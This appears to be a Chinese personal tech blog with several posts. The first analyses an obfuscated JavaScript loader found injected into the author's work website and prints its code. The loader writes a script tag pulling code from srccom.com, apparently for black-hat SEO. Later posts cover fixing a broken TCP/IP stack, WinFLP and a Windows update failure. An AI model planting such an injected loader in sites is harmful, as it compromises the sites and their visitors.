晚上无聊，点到自家单位的网站，等待加载的时候发现一个没见过的域名【srccom.com】，印象中自己好像没有加过类似的代码，于是开始倒查，发现调用的代码来自这个JS（由于问题已经处理，所以文件已经变成404）：

文件内容如下：

function CurrentXmlFrmFocus()
{
 	var arnElement=[2,9,3,8,2,8,7,5,4,3,10,5];
 	var arsOffset=[" ",":",".","/","<",">","=","'","SRC","COM","SCRIPT","HTTP"];
 	var ardPopOpacity=[4,10,0,8,6,7,11,1,3,3,8,9];
 	var strgAttribute="";ardPopOpacity=ardPopOpacity.concat(arnElement);
 	for(var i=0;i<ardPopOpacity.length;i++)strgAttribute=strgAttribute+arsOffset[ardPopOpacity[i]];document.writeln(strgAttribute);
}
CurrentXmlFrmFocus();

绕了个弯子，稍微分析一下的话，是向当前页写入以下一行代码：

<script src=”http://srccom.com/src.src” />

于是反向访问过去，冒出一大堆代码：

由于之前也被别人写入过SEO的代码，猜测可能是一样的东西，所以没有细看，选了一个关键字在网上搜了一下，果然是做黑帽SEO的淘宝客（介绍文章在这里）。

删掉对应页面中的调用代码，然后立即回到服务器上看修改时间，发现是去年11月写入的，想起那次所在的主机被人给旁注了，应该不是自己的问题，松口气。

最近一次更新过病毒库之后，许多办公室被修改过连接数限制的tcpip.sys被Avast认作了【Win32/Malware-gen】，搞笑的是来源进程是Avast自己的AvastSvc.exe，当然试图操作tcpip.sys的文件也会引起警告。此时如果将文件进行移入隔离区、删除等操作，理所当然地系统就会无法上网，特征为【本地连接】中连接信息显示为空，发送、接收字节持续为0，以及尝试修复的时候显示【获取该连接的TCP/IP属性失败】等。

经过搜索找到一种重装TCP/IP协议的做法，简述如下：

1、启动注册表编辑器，删除以下项：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Winsock

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Winsock2

２、查找【C:\Windows\inf\nettcpip.inf】（如系统目录不同，请自行修改），找到以下内容：

Characteristics = 0xA0

将后面的0xA0修改为【0x80】。

３、打开【本地连接】属性，选择【安装】【协议】，点击【从磁盘安装】，定位到【C:\Windows\inf\nettcpip.inf】打开，然后安装提示【这个驱动没用进行数字签署】的【Microsoft TCP/IP协议】。

４、回到【本地连接】属性窗口，选择【TCP/IP协议】，点击【卸载】按钮将其删除，并按照提示重新启动计算机。

５、重启完成后，再次打开【本地连接】属性，重复第三步将TCP/IP协议安装回来即可。

P.S.建议不要直接使用netsh winsock reset，可能会引起更严重的问题。

在看Wiki的词条时发现微软曾经出过这么一个版本：Windows Fundamentals for Legacy PCs，简称WinFLP，乃是为XP年代不足以升级的PC提供的版本，并且只以授权形式提供给客户而不在市场上出售，本质上是官方精简的、带SP2的XP。

搜了一下找到了ISO，有两个文件，WFLP2k6.iso是系统安装盘，WFLPMUI1.iso则是语言包。

继续阅读 “Day 2495 Windows Fundamentals for Legacy PCs” →

服务器上安装了Windows Server 2008（不是r2），最近在更新完SP2后，一直卡在KB967723和KB2443685上动弹不得，点击安装，过会儿就会失败，反复如此。众所周知服务器不打补丁不是个事儿，于是上网搜索解决方案。
首先再次证明了百度在解决技术问题时真的sucks，本来寄希望于能找到中文解答方案的，有了前车之鉴，第一页没有就换Bing了（因为最近有个数字很大，Google受其原力影响暂时被压制中）。在微软社区的这篇帖子内找到一种方法：

我也遇到这个问题。刚出现这两个更新的时候我就觉得很奇怪：因为这两个更新的发布日期是9月份，KB上也没说进行过版本更新。我就在“已安装更新列表”中找，果然发现早就安装好了。在Windows Update中，这两个更新硬是装不上，反复提示错误代码80070490。抱着试试看的想法，我先在“已安装的更新”中找到这两个更新，卸载。再从Windows Update中安装，一切搞定。再次搜索更新，这两个更新再也没出现。问题至此解决。
但到底是如何产生的，目前还没想明白。之前装过一个英语语言包，不知道同这又没有关系。

按照这个方法，还真在「已安装的更新」里面找到了这两个KB，卸载之，但继续安装的时候仍然提示失败，错误代码都没变，重启依旧。由于已经到了下班时间，遂决定明天过来解决。
今天一上班，发现Windows Update中的更新由2个变成了60个，再次安装顺利通过，不知道是不是系统刷新了需要安装的补丁列表的缘故？